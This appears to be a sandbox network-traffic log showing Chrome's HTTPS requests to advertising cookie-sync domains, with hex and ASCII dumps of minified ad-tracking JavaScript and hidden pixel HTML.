t,e=[],a=0;a<256;a++){t=a;for(var n=0;n<8;n++)t=1&t?3988292384^t>>>1:t>>>1;e[a]=t}return e}();t.exports=function(t,e,a,i){
2024-03-28 08:51:28 UTC	1371	IN	Data Raw: 75 72 6e 20 65 7d 2c 65 2e 62 75 66 32 62 69 6e 73 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6c 28 74 2c 74 2e 6c 65 6e 67 74 68 29 7d 2c 65 2e 62 69 6e 73 74 72 69 6e 67 32 62 75 66 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 65 77 20 6e 2e 42 75 66 38 28 74 2e 6c 65 6e 67 74 68 29 2c 61 3d 30 2c 69 3d 65 2e 6c 65 6e 67 74 68 3b 61 3c 69 3b 61 2b 2b 29 65 5b 61 5d 3d 74 2e 63 68 61 72 43 6f 64 65 41 74 28 61 29 3b 72 65 74 75 72 6e 20 65 7d 2c 65 2e 62 75 66 32 73 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 61 2c 6e 2c 69 2c 72 2c 6f 3d 65 7c 7c 74 2e 6c 65 6e 67 74 68 2c 68 3d 6e 65 77 20 41 72 72 61 79 28 32 2a 6f 29 3b 66 6f 72 28 6e 3d 30 2c 61 3d 30 3b 61 3c 6f Data Ascii: urn e},e.buf2binstring=function(t){return l(t,t.length)},e.binstring2buf=function(t){for(var e=new n.Buf8(t.length),a=0,i=e.length;a<i;a++)e[a]=t.charCodeAt(a);return e},e.buf2string=function(t,e){var a,n,i,r,o=e\|\|t.length,h=new Array(2*o);for(n=0,a=0;a<o
2024-03-28 08:51:28 UTC	1371	IN	Data Raw: 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 28 6e 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 2c 61 3d 31 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 61 3c 6e 3b 61 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 65 3d 61 72 67 75 6d 65 6e 74 73 5b 61 5d 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 65 2c 69 29 26 26 28 74 5b 69 5d 3d 65 5b 69 5d 29 3b 72 65 74 75 72 6e 20 74 7d 29 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 3b 65 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3d 21 30 3b 76 61 72 20 69 3d 61 28 33 37 29 2c 72 3d 28 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e Data Ascii: tion(){return(n=Object.assign\|\|function(t){for(var e,a=1,n=arguments.length;a<n;a++)for(var i in e=arguments[a])Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i]);return t}).apply(this,arguments)};e.__esModule=!0;var i=a(37),r=(window&&window.location
2024-03-28 08:51:28 UTC	1371	IN	Data Raw: 65 3d 6e 6f 6e 65 3b 73 65 63 75 72 65 3b 70 61 74 68 3d 22 2b 69 2b 72 7d 2c 74 68 69 73 2e 77 72 69 74 65 50 69 78 65 6c 4d 61 70 54 6f 43 6f 6f 6b 69 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 2e 70 69 78 65 6c 4d 61 70 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 61 3d 65 2e 70 69 78 65 6c 4d 61 70 5b 74 5d 2c 6e 3d 61 2e 69 64 2c 69 3d 61 2e 73 79 6e 63 5f 63 6f 6d 70 6c 65 74 65 3b 72 65 74 75 72 6e 7b 69 64 3a 6e 2c 73 79 6e 63 5f 73 74 61 72 74 3a 61 2e 73 79 6e 63 5f 73 74 61 72 74 2c 73 79 6e 63 5f 63 6f 6d 70 6c 65 74 65 3a 69 7d 7d 29 2c 61 3d 69 2e 65 6e 63 6f 64 65 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 7b 76 65 72 73 69 6f 6e 3a 73 2c 70 69 78 65 6c 73 3a 74 Data Ascii: e=none;secure;path="+i+r},this.writePixelMapToCookie=function(){var t=Object.keys(e.pixelMap).map(function(t){var a=e.pixelMap[t],n=a.id,i=a.sync_complete;return{id:n,sync_start:a.sync_start,sync_complete:i}}),a=i.encode(JSON.stringify({version:s,pixels:t
2024-03-28 08:51:28 UTC	1371	IN	Data Raw: 2e 66 69 72 73 74 43 68 69 6c 64 29 7d 2c 74 68 69 73 2e 70 72 6f 63 65 73 73 50 69 78 65 6c 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3b 74 3d 65 2e 70 69 78 65 6c 51 75 65 75 65 2e 73 68 69 66 74 28 29 3b 29 7b 76 61 72 20 61 3d 74 2e 69 64 3b 65 2e 70 69 78 65 6c 52 65 71 75 65 73 74 4d 61 70 5b 61 5d 7c 7c 28 65 2e 70 69 78 65 6c 52 65 71 75 65 73 74 4d 61 70 5b 61 5d 3d 74 2c 65 2e 6c 6f 61 64 50 69 78 65 6c 28 74 29 29 7d 7d 2c 74 68 69 73 2e 69 6d 70 62 75 73 55 72 6c 3d 74 7c 7c 64 2c 74 68 69 73 2e 70 69 78 65 6c 51 75 65 75 65 3d 5b 5d 2c 74 68 69 73 2e 70 69 78 65 6c 52 65 71 75 65 73 74 4d 61 70 3d 7b 7d 2c 74 68 69 73 2e 70 69 78 65 6c 4d 61 70 3d 74 68 69 73 2e 72 65 61 64 50 69 78 65 6c 4d 61 70 46 72 6f 6d 43 6f 6f Data Ascii: .firstChild)},this.processPixels=function(){for(var t;t=e.pixelQueue.shift();){var a=t.id;e.pixelRequestMap[a]\|\|(e.pixelRequestMap[a]=t,e.loadPixel(t))}},this.impbusUrl=t\|\|d,this.pixelQueue=[],this.pixelRequestMap={},this.pixelMap=this.readPixelMapFromCoo
2024-03-28 08:51:28 UTC	1371	IN	Data Raw: 29 3e 3e 38 29 2c 65 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 32 35 35 26 61 29 29 2c 65 7d 7d 2c 34 30 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 61 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3b 66 6f 72 28 74 3d 53 74 72 69 6e 67 28 74 29 2c 65 3d 30 3b 65 3c 74 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 69 66 28 74 2e 63 68 61 72 43 6f 64 65 41 74 28 65 29 3e 32 35 35 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 61 3d 22 22 3b 66 6f 72 28 65 3d 30 3b 65 3c 74 2e 6c 65 6e 67 74 68 3b 65 2b 3d 33 29 7b 76 61 72 20 6e 3d 5b 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 5d 3b 6e 5b 30 5d 3d 74 2e 63 68 61 72 43 6f 64 Data Ascii: )>>8),e+=String.fromCharCode(255&a)),e}},40:function(t,e,a){"use strict";t.exports=function(t){var e;for(t=String(t),e=0;e<t.length;e++)if(t.charCodeAt(e)>255)return null;var a="";for(e=0;e<t.length;e+=3){var n=[void 0,void 0,void 0,void 0];n[0]=t.charCod
2024-03-28 08:51:28 UTC	1371	IN	Data Raw: 65 77 20 45 72 72 6f 72 28 73 5b 61 5d 29 3b 69 66 28 65 2e 68 65 61 64 65 72 26 26 6e 2e 64 65 66 6c 61 74 65 53 65 74 48 65 61 64 65 72 28 74 68 69 73 2e 73 74 72 6d 2c 65 2e 68 65 61 64 65 72 29 2c 65 2e 64 69 63 74 69 6f 6e 61 72 79 29 7b 76 61 72 20 5f 3b 69 66 28 5f 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 2e 64 69 63 74 69 6f 6e 61 72 79 3f 72 2e 73 74 72 69 6e 67 32 62 75 66 28 65 2e 64 69 63 74 69 6f 6e 61 72 79 29 3a 22 5b 6f 62 6a 65 63 74 20 41 72 72 61 79 42 75 66 66 65 72 5d 22 3d 3d 3d 6c 2e 63 61 6c 6c 28 65 2e 64 69 63 74 69 6f 6e 61 72 79 29 3f 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 65 2e 64 69 63 74 69 6f 6e 61 72 79 29 3a 65 2e 64 69 63 74 69 6f 6e 61 72 79 2c 28 61 3d 6e 2e 64 65 66 6c 61 74 65 53 65 74 44 69 63 Data Ascii: ew Error(s[a]);if(e.header&&n.deflateSetHeader(this.strm,e.header),e.dictionary){var _;if(_="string"==typeof e.dictionary?r.string2buf(e.dictionary):"[object ArrayBuffer]"===l.call(e.dictionary)?new Uint8Array(e.dictionary):e.dictionary,(a=n.deflateSetDic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
326	192.168.2.4	50122	172.64.149.180	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:28 UTC	660	OUT	GET /um/ixmatch.html HTTP/1.1 Host: js-sec.indexww.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:28 UTC	442	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Last-Modified: Mon, 25 Jul 2022 19:18:19 GMT P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" CF-Cache-Status: HIT Age: 386 Expires: Thu, 28 Mar 2024 12:51:28 GMT Cache-Control: public, max-age=14400 Accept-Ranges: bytes Server: cloudflare CF-RAY: 86b660e76e2682e1-IAD
2024-03-28 08:51:28 UTC	927	IN	Data Raw: 62 36 38 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 3e 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 72 28 6e 29 7b 69 66 28 65 5b 6e 5d 29 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 69 3d 65 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 63 61 6c 6c 28 69 2e 65 78 70 6f 72 74 73 2c 69 2c 69 2e 65 78 70 6f 72 74 73 2c 72 29 2c 69 2e 6c 3d 21 30 2c 69 2e 65 78 70 6f 72 74 73 7d 72 2e 6d 3d 74 2c 72 2e 63 3d 65 2c 72 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 72 2e 6f 28 74 2c 65 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 Data Ascii: b68<!doctype html><head></head><body><script>!function(t){var e={};function r(n){if(e[n])return e[n].exports;var i=e[n]={i:n,l:!1,exports:{}};return t[n].call(i.exports,i,i.exports,r),i.l=!0,i.exports}r.m=t,r.c=e,r.d=function(t,e,n){r.o(t,e)\|\|Object.def
2024-03-28 08:51:28 UTC	1369	IN	Data Raw: 74 79 2e 63 61 6c 6c 28 74 2c 65 29 7d 2c 72 2e 70 3d 22 22 2c 72 28 72 2e 73 3d 30 29 7d 28 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 6c 65 74 20 72 3d 21 31 3b 63 6f 6e 73 74 20 6e 3d 7b 7d 3b 6c 65 74 20 69 2c 61 2c 6f 2c 63 3b 63 6f 6e 73 74 20 75 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 74 29 7b 6c 65 74 20 65 2c 72 2c 6e 3d 77 69 6e 64 6f 77 2c 69 3d 22 54 43 46 22 3d 3d 3d 74 3f 22 5f 5f 74 63 66 61 70 69 22 3a 22 5f 5f 75 73 70 61 70 69 22 2c 61 3d 22 54 43 46 22 3d 3d 3d 74 3f 22 5f 5f 74 63 66 61 70 69 4c 6f 63 61 74 6f 72 22 3a 22 5f 5f 75 73 70 61 70 69 4c 6f 63 61 74 6f 72 22 3b 66 6f 72 28 3b 6e 3b 29 7b 74 72 79 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6e 5b 69 5d 29 7b 72 3d 6e 5b 69 5d 2c 65 3d 6e 3b 62 Data Ascii: ty.call(t,e)},r.p="",r(r.s=0)}([function(t,e){let r=!1;const n={};let i,a,o,c;const u={};function s(t){let e,r,n=window,i="TCF"===t?"__tcfapi":"__uspapi",a="TCF"===t?"__tcfapiLocator":"__uspapiLocator";for(;n;){try{if("function"==typeof n[i]){r=n[i],e=n;b
2024-03-28 08:51:28 UTC	631	IN	Data Raw: 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 74 79 6c 65 22 2c 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 77 69 64 74 68 22 2c 22 30 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 68 65 69 67 68 74 22 2c 22 30 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 66 72 61 6d 65 62 6f 72 64 65 72 22 2c 22 30 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6d 61 72 67 69 6e 68 65 69 67 68 74 22 2c 22 30 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6d 61 72 67 69 6e 77 69 64 74 68 22 2c 22 30 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 63 72 6f 6c 6c 69 6e 67 22 2c 22 6e 6f 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 74 29 2c Data Ascii: setAttribute("style","display:none;"),i.setAttribute("width","0"),i.setAttribute("height","0"),i.setAttribute("frameborder","0"),i.setAttribute("marginheight","0"),i.setAttribute("marginwidth","0"),i.setAttribute("scrolling","no"),i.setAttribute("src",t),
2024-03-28 08:51:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
327	192.168.2.4	50148	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:28 UTC	846	OUT	GET /pixel?google_nid=index&google_cm&google_hm=ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB&gdpr_consent=&us_privacy=&gdpr=&gpp=&gpp_sid= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-03-28 08:51:28 UTC	1034	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://ssum-sec.casalemedia.com/usermatchredir?s=184023&gdpr_consent=&gdpr=&gpp=&gpp_sid=&google_gid=CAESEJsyHo98T7DEGuNMD17ZOLk&google_cver=1 Date: Thu, 28 Mar 2024 08:51:28 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 364 X-XSS-Protection: 0 Set-Cookie: IDE=AHWqTUm7Suo4qNiGPWKRLeq4zHnVqyuSK47pauVnf0nCPDeEcWLeoS3pQ-WH_UitM7k; expires=Sat, 28-Mar-2026 08:51:28 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Set-Cookie: test_cookie=; expires=Fri, 01-Aug-2008 22:45:55 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:28 UTC	218	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 73 73 75 6d 2d 73 65 63 2e 63 61 73 61 6c 65 6d 65 64 69 61 2e 63 6f 6d 2f 75 73 65 72 6d 61 74 63 68 72 65 64 69 72 3f 73 3d Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://ssum-sec.casalemedia.com/usermatchredir?s=
2024-03-28 08:51:28 UTC	146	IN	Data Raw: 31 38 34 30 32 33 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 3b 67 64 70 72 3d 26 61 6d 70 3b 67 70 70 3d 26 61 6d 70 3b 67 70 70 5f 73 69 64 3d 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 67 69 64 3d 43 41 45 53 45 4a 73 79 48 6f 39 38 54 37 44 45 47 75 4e 4d 44 31 37 5a 4f 4c 6b 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 63 76 65 72 3d 31 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: 184023&gdpr_consent=&gdpr=&gpp=&gpp_sid=&google_gid=CAESEJsyHo98T7DEGuNMD17ZOLk&google_cver=1">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
328	192.168.2.4	50107	8.2.110.17	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:28 UTC	667	OUT	GET /iframe?pbjs=1&coppa=0 HTTP/1.1 Host: sync.admanmedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:28 UTC	498	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Mar 2024 08:51:28 GMT Content-Type: text/html Content-Length: 2606 Connection: close Set-Cookie: admtr=9741359e-b2a2-4864-af08-41d769df6c9b; path=/; domain=.admanmedia.com; expires=Thu, 11 Apr 2024 08:51:28 GMT;SameSite=None;Secure Set-Cookie: admtr_red=undefined; path=/; domain=.admanmedia.com; expires=Thu, 11 Apr 2024 08:51:28 GMT;SameSite=None;Secure Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-03-28 08:51:28 UTC	2606	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 78 2e 62 69 64 73 77 69 74 63 68 2e 6e 65 74 2f 73 79 6e 63 3f 73 73 70 3d 61 64 6d 61 6e 26 75 73 65 72 5f 69 64 3d 39 37 34 31 33 35 39 65 2d 62 32 61 32 2d 34 38 36 34 2d 61 66 30 38 2d 34 31 64 37 36 39 64 66 36 63 39 62 26 67 64 70 72 3d 5b 47 44 50 52 5d 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 5b 47 44 50 52 5f 43 4f 4e 53 45 4e 54 5d 22 20 77 69 64 74 68 3d 22 31 22 20 68 65 69 67 68 74 3d 22 31 22 20 61 6c 74 3d 22 22 20 73 74 79 6c 65 3d 22 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 20 6f 70 61 63 69 74 79 3a 20 30 3b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 2e 61 64 Data Ascii: <html><head></head><body><img src="https://x.bidswitch.net/sync?ssp=adman&user_id=9741359e-b2a2-4864-af08-41d769df6c9b&gdpr=[GDPR]&gdpr_consent=[GDPR_CONSENT]" width="1" height="1" alt="" style="position: absolute; opacity: 0;"><img src="https://secure.ad

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
329	192.168.2.4	50141	3.33.220.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:28 UTC	707	OUT	GET /track/cmf/casale HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=a109dc60-dc7c-45e5-ab53-e2448a53420f; TDCPM=CAEYASABKAIyCwjY_OG338PnPBAFOAFaB25lb2RhdGFgAg..
2024-03-28 08:51:28 UTC	605	IN	HTTP/1.1 302 Found Date: Thu, 28 Mar 2024 08:51:28 GMT Content-Length: 323 Connection: close server: Kestrel location: https://dsum-sec.casalemedia.com/rum?cm_dsp_id=39&external_user_id=a109dc60-dc7c-45e5-ab53-e2448a53420f&expiration=1714207888&gdpr=0&gdpr_consent= set-cookie: TDID=a109dc60-dc7c-45e5-ab53-e2448a53420f; expires=Fri, 28 Mar 2025 08:51:28 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFQoGY2FzYWxlEgsI_JfRpMnD5zwQBRgBIAIoAjILCNj84bffw-c8EAU4AVoHbmVvZGF0YWAC; expires=Fri, 28 Mar 2025 08:51:28 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-03-28 08:51:28 UTC	323	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 73 75 6d 2d 73 65 63 2e 63 61 73 61 6c 65 6d 65 64 69 61 2e 63 6f 6d 2f 72 75 6d 3f 63 6d 5f 64 73 70 5f 69 64 3d 33 39 26 65 78 74 65 72 6e 61 6c 5f 75 73 65 72 5f 69 64 3d 61 31 30 39 64 63 36 30 2d 64 63 37 63 2d 34 35 65 35 2d 61 62 35 33 2d 65 32 34 34 38 61 35 33 34 32 30 66 26 65 78 70 69 72 61 74 69 6f 6e 3d 31 37 31 34 32 30 37 38 38 38 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 68 74 74 70 73 3a 2f 2f 64 73 75 6d 2d 73 65 63 2e 63 61 73 61 6c 65 6d 65 64 69 61 2e 63 6f 6d 2f 72 75 6d 3f 63 6d 5f 64 73 70 5f 69 64 3d 33 39 26 65 78 74 65 72 6e 61 6c 5f 75 73 65 72 5f 69 64 3d 61 31 30 39 64 63 36 30 2d 64 63 37 63 2d 34 Data Ascii: Redirecting to: <a href="https://dsum-sec.casalemedia.com/rum?cm_dsp_id=39&external_user_id=a109dc60-dc7c-45e5-ab53-e2448a53420f&expiration=1714207888&gdpr=0&gdpr_consent=">https://dsum-sec.casalemedia.com/rum?cm_dsp_id=39&external_user_id=a109dc60-dc7c-4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
330	192.168.2.4	50110	52.12.180.5	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:28 UTC	773	OUT	GET /visitor/isync?uid=19340f4f097d16f41f34fc0274981ca4&gdpr=0&gdpr_consent= HTTP/1.1 Host: visitor.omnitagjs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ayl_visitor=b6fcc9c759d2693b00a026e6708e7344
2024-03-28 08:51:28 UTC	526	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: no-cache, no-store, must-revalidate expires: 0 p3p: CP="CAO PSA OUR" pragma: no-cache set-cookie: ayl_visitor=b6fcc9c759d2693b00a026e6708e7344; Path=/; Domain=omnitagjs.com; Max-Age=2592000; Secure; SameSite=None vary: Accept-Encoding x-content-type-options: nosniff X-Kong-Upstream-Latency: 14 X-Kong-Proxy-Latency: 0 Via: kong/2.8.3
2024-03-28 08:51:28 UTC	3684	IN	Data Raw: 65 35 64 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 69 6d 67 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 2e 61 64 6e 78 73 2e 63 6f 6d 2f 67 65 74 75 69 64 3f 68 74 74 70 73 25 33 41 25 32 46 25 32 46 76 69 73 69 74 6f 72 2d 75 73 2d 77 65 73 74 2d 32 2e 6f 6d 6e 69 74 61 67 6a 73 2e 63 6f 6d 25 32 46 76 69 73 69 74 6f 72 25 32 46 73 79 6e 63 25 33 46 6e 61 6d 65 25 33 44 58 61 6e 64 72 25 32 42 25 32 35 45 32 25 32 35 38 30 25 32 35 39 33 25 32 42 49 6e 76 65 73 74 25 32 42 44 53 50 25 32 36 74 74 6c 25 33 44 37 